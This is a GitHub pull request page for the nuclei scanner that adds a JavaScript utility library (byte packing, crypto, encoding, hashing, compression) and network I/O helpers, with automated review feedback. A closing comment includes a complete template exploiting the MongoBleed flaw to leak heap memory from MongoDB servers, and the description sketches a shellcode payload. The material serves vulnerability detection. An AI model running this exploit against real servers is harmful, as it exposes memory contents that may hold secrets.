Skip to content

feat(js): add comprehensive utils library #6790

Open
Ice3man543 wants to merge 3 commits intodevfrom
added-additional-js-helper-libs
Open

feat(js): add comprehensive utils library #6790
Ice3man543 wants to merge 3 commits intodevfrom
added-additional-js-helper-libs

Conversation

@Ice3man543
Copy link
Copy Markdown
Member

@Ice3man543 Ice3man543 commented Jan 25, 2026

Add comprehensive nuclei/utils JavaScript helper library

Summary

This PR introduces a new nuclei/utils JavaScript library providing comprehensive utility functions for template authors writing JavaScript-based nuclei templates. The library is inspired by tools like pwntools and provides essential primitives for binary protocol exploitation, cryptographic operations, encoding/decoding, and data manipulation.

Additionally, the nuclei/net library has been enhanced with convenience methods for improved network I/O operations.

New nuclei/utils Library

Binary & Pattern Operations

  • PatternCreate(length) / PatternOffset(pattern, search) - Cyclic pattern generation for buffer overflow analysis
  • FindBytes / FindAllBytes - Search for byte patterns
  • ReplaceBytes / RepeatBytes / ReverseBytes - Byte manipulation
  • SwapEndian16 / SwapEndian32 - Endianness conversion
  • GenerateRandomString / GenerateRandomBytes - Random data generation
  • RepeatString / PadLeft / PadRight - String manipulation

Struct Packing/Unpacking (pwntools-style)

  • PackUint8/16/32/64LE/BE - Pack integers to bytes
  • UnpackUint16/32/64LE/BE - Unpack bytes to integers
  • P8 / P16 / P32 / P64 - Pwntools-style pack aliases (little-endian)
  • P16BE / P32BE / P64BE - Big-endian pack variants
  • U16 / U32 / U64 - Pwntools-style unpack aliases
  • ConcatBytes / Flat - Combine multiple byte arrays
  • ToBytes / StringToBytes / BytesToString - Type conversions

Encoding/Decoding

  • URLEncode / URLDecode
  • HTMLEncode / HTMLDecode
  • HexEncode / HexDecode
  • Base64Encode / Base64Decode (standard, URL-safe, raw variants)
  • UTF16LEEncode / UTF16LEDecode
  • UTF16BEEncode / UTF16BEDecode

Hashing

  • MD4 / MD4Raw - Required for NTLM authentication
  • MD5 / MD5Raw
  • SHA1 / SHA1Raw
  • SHA256 / SHA256Raw
  • SHA384 / SHA384Raw
  • SHA512 / SHA512Raw
  • HMACMD5 / HMACSHA1 / HMACSHA256 / HMACSHA512
  • CRC32 / Adler32

Cryptography

  • AESEncryptECB / AESDecryptECB
  • AESEncryptCBC / AESDecryptCBC
  • AESEncryptGCM / AESDecryptGCM
  • DESEncryptECB / DESDecryptECB
  • DES3EncryptCBC / DES3DecryptCBC
  • RC4Encrypt
  • XORBytes / XORSingleByte

Compression

  • ZlibCompress / ZlibDecompress
  • GzipCompress / GzipDecompress
  • DeflateCompress / DeflateDecompress

Padding

  • PKCS7Pad / PKCS7Unpad
  • ZeroPad / ZeroUnpad

Time

  • Sleep(milliseconds)
  • UnixTimestamp / UnixTimestampMilli / UnixTimestampNano

Enhanced nuclei/net Library

New connection methods for improved network I/O:

  • SendBytes(data) - Send raw byte array
  • SendLine(data) - Send string with newline appended
  • RecvUntil(delimiter) - Receive data until delimiter found
  • RecvUntilString(delimiter) - Receive string until delimiter
  • RecvLine() - Receive until newline
  • RecvN(n) - Receive exactly N bytes (alias for RecvFull)

Example Usage

const utils = require('nuclei/utils');
const net = require('nuclei/net');

// Connect to target
const conn = net.Open('tcp', 'target:1234');

// Build exploit payload using pwntools-style packing
const payload = utils.Flat(
    utils.P32(0x41414141),           // 4-byte address
    utils.RepeatBytes([0x90], 100),  // NOP sled
    shellcode
);

// Send payload
conn.SendBytes(payload);

// Receive response until delimiter
const response = conn.RecvUntil([0x0d, 0x0a]);

// Compute hash for verification
const hash = utils.MD5(response);

Files Changed

  • New files:

    • pkg/js/libs/utils/ - New utils library implementation (9 files)
    • pkg/js/generated/go/libutils/utils.go - Auto-generated bindings
    • pkg/js/generated/ts/utils.ts - TypeScript definitions
  • Modified files:

    • pkg/js/libs/net/net.go - Added new connection methods
    • pkg/js/compiler/pool.go - Registered new utils library
    • pkg/js/devtools/bindgen/generator.go - Minor binding generation updates
    • pkg/js/devtools/tsgen/scrape.go - TypeScript generation updates
    • Various pkg/js/generated/ts/*.ts - Regenerated TypeScript definitions

Test Plan

  • Unit tests added for all utils functions (pkg/js/libs/utils/utils_test.go)
  • Integration test with sample template using the new library
  • Verify TypeScript definitions work correctly in IDE

Summary by CodeRabbit

  • New Features

    • Comprehensive Utils library: crypto, encoding, hashing, compression, binary/struct helpers, padding, random and time utilities
    • Network I/O: line- and delimiter-based send/receive helpers
  • Developer Tools

    • Devtool parsing refined to ignore test files and skip non-struct types during scraping
  • Tests

    • Added extensive test suite covering the new utilities

…methods

Add new nuclei/utils JavaScript library with utility functions for:
- Binary manipulation and cyclic pattern generation (pwntools-style)
- Struct packing/unpacking with P8/P16/P32/P64 aliases
- Encoding (Base64, Hex, URL, HTML, UTF-16)
- Hashing (MD4, MD5, SHA1/256/384/512, HMAC, CRC32)
- Cryptography (AES-ECB/CBC/GCM, DES, 3DES, RC4, XOR)
- Compression (zlib, gzip, deflate)
- Padding (PKCS7, zero padding)
- Time utilities (Sleep, Unix timestamps)

Enhance nuclei/net library with:
- SendBytes, SendLine for improved sending
- RecvUntil, RecvLine, RecvN for flexible receiving

Includes comprehensive unit tests and updated TypeScript definitions.
@auto-assign auto-assign bot requested a review from Mzack9999 January 25, 2026 16:01
@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai bot commented Jan 25, 2026

Walkthrough

Adds a new comprehensive Utils library (encoding, crypto, hash, compression, binary, padding, struct/packing, time) with tests, extends NetConn with delimiter-based I/O helpers, adds a side-effect import for libutils, narrows parser directory parsing to exclude _test.go, and makes scrape skip non-struct types silently.

Changes

Cohort / File(s) Summary
JS compiler & devtools
pkg/js/compiler/pool.go, pkg/js/devtools/bindgen/generator.go, pkg/js/devtools/tsgen/scrape.go
Adds side-effect import of libutils in compiler; changes parser.ParseDir call to filter out _test.go files; updates scrape to silently skip non-struct types instead of returning an error.
Network I/O
pkg/js/libs/net/net.go
Adds NetConn higher-level I/O methods: SendBytes, SendLine, RecvUntil, RecvUntilString, RecvLine, RecvN, and a bytesEqual helper for delimiter handling.
Utils core & tests
pkg/js/libs/utils/utils.go, pkg/js/libs/utils/utils_test.go
Introduces Utils type and an extensive test suite exercising newly added utility functions.
Encoding utilities
pkg/js/libs/utils/encoding.go
Adds URL/HTML encoding/decoding, Hex, Base64 variants (Std/URL/Raw/RawURL), and UTF-16 LE/BE encode/decode helpers.
Binary & byte utilities
pkg/js/libs/utils/binary.go
Adds pattern creation/offset, byte find/replace, repeat/reverse, endian swaps, random string/byte generators, and string padding helpers.
Struct / packing helpers
pkg/js/libs/utils/struct.go
Adds pack/unpack for 8/16/32/64 (LE/BE), convenience aliases (P*/U*), Flat, ConcatBytes, and conversions between bytes and strings.
Padding utilities
pkg/js/libs/utils/padding.go
Adds PKCS#7 pad/unpad (with validation), zero/null padding, and pad-to-block-size helpers plus internal helpers for pkcs7 logic.
Compression utilities
pkg/js/libs/utils/compression.go
Adds Zlib/Gzip/Deflate compress and decompress functions (byte-slice APIs).
Hashing & checksums
pkg/js/libs/utils/hash.go
Adds MD4/MD5/SHA1/SHA256/SHA384/SHA512 (hex/raw), HMAC variants, CRC32, and Adler32 functions.
Cryptography
pkg/js/libs/utils/crypto.go
Implements AES (ECB/CBC/GCM), DES/3DES (ECB/CBC), RC4, and XOR utilities with PKCS#7 padding helpers and input validation.
Time utilities
pkg/js/libs/utils/time.go
Adds Sleep(milliseconds), UnixTimestamp, UnixTimestampMilli, and UnixTimestampNano.

Estimated code review effort

🎯 5 (Critical) | ⏱️ ~120 minutes

Poem

🐇 I nibble bytes at break of dawn,

I swap and pad till worries’re gone,
I gzip, hash, and cipher, too,
New Utils hop in — tidy and true,
Tests clap paws beneath the lawn.

🚥 Pre-merge checks | ✅ 2 | ❌ 1
❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.91% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly summarizes the main change: adding a comprehensive utils library for JavaScript support in nuclei, which aligns perfectly with the bulk of the changeset.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch added-additional-js-helper-libs

Comment @coderabbitai help to get the list of available commands and usage tips.

@Ice3man543 Ice3man543 changed the title feat(js): add comprehensive utils library and enhance net connection … feat(js): add comprehensive utils library Jan 25, 2026
@Ice3man543 Ice3man543 self-assigned this Jan 25, 2026
Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 9

🤖 Fix all issues with AI agents
In `@pkg/js/libs/net/net.go`:
- Around line 336-366: RecvUntil currently accepts an empty delimiter and treats
any read error as success by returning partial data; update RecvUntil on type
NetConn to first validate that delim is non-empty and return an error if it is,
and on any c.conn.Read error return nil and the error (do not return partial
result with nil error); keep the existing deadline handling
(setDeadLine/unsetDeadLine) and the delimiter check using bytesEqual on the
trailing bytes of result.

In `@pkg/js/libs/utils/binary.go`:
- Around line 9-10: The constant patternCharset is defined but unused; either
remove it to satisfy the linter or wire it into PatternCreate. Fix by deleting
the unused declaration named patternCharset (leaving alphanumCharset intact) OR
update the PatternCreate function to reference patternCharset instead of
alphanumCharset (or accept patternCharset as the charset parameter) so the
symbol is used; ensure tests/build pass after the change.
- Around line 3-7: The current imports use math/rand which makes
GenerateRandomString and GenerateRandomBytes deterministic; replace math/rand
with crypto/rand and update those functions to use crypto/rand.Reader (e.g.,
crypto/rand.Read for bytes or crypto/rand.Int for selecting indices) so bytes
are filled from a secure source, remove any dependency on rand.Seed, and adjust
imports (drop math/rand, keep bytes/strings as needed) while preserving function
names GenerateRandomString and GenerateRandomBytes.
- Around line 67-86: The FindAllBytes function can infinite-loop or panic when
needle is empty; add a guard at the start of Utils.FindAllBytes that returns an
empty slice if len(needle) == 0 (or handle as desired) before using bytes.Index,
and ensure subsequent logic uses haystack[start:] safely; reference the function
name FindAllBytes, variables haystack, needle, start, and the bytes.Index call
when making the change.

In `@pkg/js/libs/utils/compression.go`:
- Around line 37-42: The decompressors currently ignore errors from r.Close();
capture the Close() return value and, if io.ReadAll or other prior steps did not
already return an error, return the Close() error instead. Specifically, in the
zlib case around zlib.NewReader and io.ReadAll (and likewise for the gzip and
deflate blocks at the other occurrences), store the result of io.ReadAll into a
variable (e.g., data, err), then call cerr := r.Close(); if err != nil return
nil, err; if cerr != nil return nil, cerr; otherwise return the read bytes, nil.

In `@pkg/js/libs/utils/crypto.go`:
- Around line 100-140: AESEncryptGCM and AESDecryptGCM must validate the nonce
length before calling gcm.Seal/gcm.Open to avoid a panic; after creating gcm in
each function (the cipher.NewGCM call), get the expected nonce size via
gcm.NonceSize() and return a descriptive error if len(nonce) != nonceSize (e.g.,
"invalid nonce length: got X, want Y"); apply this check in both AESEncryptGCM
and AESDecryptGCM so they mirror the IV/nonce validation used in
AESEncryptCBC/AESDecryptCBC.

In `@pkg/js/libs/utils/hash.go`:
- Around line 3-38: The md4 import from "golang.org/x/crypto/md4" used by the
MD4 and MD4Raw methods triggers staticcheck SA1019; add a targeted lint
suppression comment immediately above the import (explaining MD4 is required for
NTLM compatibility and cannot be replaced) so the linter is satisfied while
preserving the md4.New() usage in the MD4 and MD4Raw functions; ensure the
comment references SA1019 and provides the justification (NTLM requirement) and
keep the existing function implementations unchanged.

In `@pkg/js/libs/utils/padding.go`:
- Around line 14-16: Validate blockSize at the top of PKCS7 padding/unpadding
paths: in pkcs7Pad (and the corresponding unpad function used at lines ~72-76)
and in the public wrapper Utils.PKCS7Pad, check that blockSize > 0 and blockSize
<= 255; if invalid, return the input unchanged (or nil if that matches existing
semantics) instead of performing len(data) % blockSize or casting padLen to a
byte. This prevents divide-by-zero panics and overflow of the padding byte; add
the same checks to the other PKCS7 helper used in the file.

In `@pkg/js/libs/utils/utils_test.go`:
- Around line 714-724: The test TestGenerateRandomAlphanumeric triggers
staticcheck QF1001 due to a negated compound condition; to fix it, replace the
inline negated compound in the loop with a named boolean predicate (e.g.,
isAlphanumeric := (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || (c >= '0'
&& c <= '9')) and then assert if !isAlphanumeric call t.Errorf(...) — update the
predicate usage inside TestGenerateRandomAlphanumeric that checks characters
from Utils.GenerateRandomAlphanumeric accordingly.
🧹 Nitpick comments (1)
pkg/js/devtools/tsgen/scrape.go (1)

37-42: Consider adding debug logging for observability.

Silently skipping non-struct types is reasonable since interfaces like net.Conn can't be scraped for fields. However, a debug log would aid troubleshooting without affecting normal operation.

♻️ Optional: Add debug logging
 	// Skip interfaces (like net.Conn) - they can't be scraped for fields
 	namedStruct, ok := typeNameObj.Type().Underlying().(*types.Struct)
 	if !ok {
 		// Not a struct (could be interface, etc.) - skip silently
+		// gologger.Debug().Msgf("Skipping non-struct type %v (underlying: %T)", typeName, typeNameObj.Type().Underlying())
 		return nil
 	}

Copy link
Copy Markdown
Member

@tarunKoyalwar tarunKoyalwar left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm !

@dogancanbakir i think by fixing the lint error we can merge this PR

@daffainfo
Copy link
Copy Markdown
Contributor

cool update, now we can do more research on pwn stuff :))

plaintext = pkcs7Pad(plaintext, des.BlockSize)
ciphertext := make([]byte, len(plaintext))
for i := 0; i < len(plaintext); i += des.BlockSize {
block.Encrypt(ciphertext[i:], plaintext[i:])

Check failure

Code scanning / CodeQL

Use of a broken or weak cryptographic algorithm High

The cryptographic algorithm DES
is broken or weak, and should not be used.
plaintext = pkcs7Pad(plaintext, des.BlockSize)
ciphertext := make([]byte, len(plaintext))
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(ciphertext, plaintext)

Check failure

Code scanning / CodeQL

Use of a broken or weak cryptographic algorithm High

The cryptographic algorithm TRIPLEDES
is broken or weak, and should not be used.
return nil, err
}
result := make([]byte, len(data))
c.XORKeyStream(result, data)

Check failure

Code scanning / CodeQL

Use of a broken or weak cryptographic algorithm High

The cryptographic algorithm RC4
is broken or weak, and should not be used.
@Ice3man543
Copy link
Copy Markdown
Member Author

For example, the mongobleed template currently can now be written way more shorter

id: CVE-2025-14847

info:
  name: MongoDB Server - Information Disclosure (MongoBleed)
  author: pussycat0x,joe-desimone,DhiyaneshDK
  severity: high
  description: |
    Mismatched length fields in Zlib compressed protocol headers may allow
    a read of uninitialized heap memory by an unauthenticated client.
  reference:
    - https://jira.mongodb.org/browse/SERVER-115508
    - https://github.com/joe-desimone/mongobleed
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed

javascript:
  - pre-condition: |
      isPortOpen(Host, Port);
    code: |
      const net = require('nuclei/net');
      const u = new (require('nuclei/utils').Utils)();

      const DEBUG = Debug === "true";
      function dbg(msg) { if (DEBUG) log(msg); }

      const OP_COMPRESSED = 2012, OP_MSG = 2013, ZLIB = 0x02;

      function buildMessage(docLen, bufSize) {
        const bson = u.Flat(u.P32(docLen), [0x10, 0x61, 0x00, 0x01, 0x00, 0x00, 0x00]);
        const opMsg = u.Flat(u.P32(0), 0x00, bson);
        const compressed = u.ZlibCompress(opMsg);
        const payload = u.Flat(u.P32(OP_MSG), u.P32(bufSize), ZLIB, compressed);
        const header = u.Flat(u.P32(16 + payload.length), u.P32(1), u.P32(0), u.P32(OP_COMPRESSED));
        return u.Flat(header, payload);
      }

      function hasLeak(resp) {
        if (!resp || resp.length < 25) return false;
        const opcode = u.U32(resp, 12);
        let raw;
        try {
          raw = opcode === OP_COMPRESSED
            ? u.ZlibDecompress(resp.slice(25, u.U32(resp, 0)))
            : resp.slice(16);
        } catch (e) {
          raw = resp.slice(25);
        }
        if (raw.length < 50) return false;
        for (const pat of ["InvalidBSON", "bson length", "field name '"]) {
          if (u.FindBytes(raw, u.StringToBytes(pat)) !== -1) return true;
        }
        return false;
      }

      const min = parseInt(MinOffset) || 20;
      const max = parseInt(MaxOffset) || 8192;
      let result = "";

      dbg(`[mongobleed] Scanning ${min}-${max}`);

      for (let docLen = min; docLen < max; docLen++) {
        try {
          const msg = buildMessage(docLen, docLen + 500);
          const conn = net.Open('tcp', `${Host}:${Port}`);
          if (!conn) continue;
          conn.SetTimeout(10);
          conn.SendBytes(msg);

          let resp = [];
          while (true) {
            const chunk = conn.Recv(4096);
            if (!chunk || chunk.length === 0) break;
            resp = u.Flat(resp, chunk);
            if (resp.length >= 4 && resp.length >= u.U32(resp, 0)) break;
          }
          conn.Close();

          if (resp.length > 0 && hasLeak(resp)) {
            dbg(`[mongobleed] LEAK at offset ${docLen}`);
            result = `leak found at offset ${docLen}`;
            break;
          }
        } catch (e) {
          if (docLen === min) dbg(`[mongobleed] Error: ${e}`);
        }
      }

      result;

    args:
      Host: "{{Host}}"
      Port: 27017
      MinOffset: 20
      MaxOffset: 8192
      Debug: "true"

    matchers:
      - type: dsl
        dsl:
          - "contains(response, 'leak found')"

    extractors:
      - type: dsl
        dsl:
          - response

for full reference: https://gist.github.com/Ice3man543/e1171f7ed216485e8766a6bb4a8638e0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants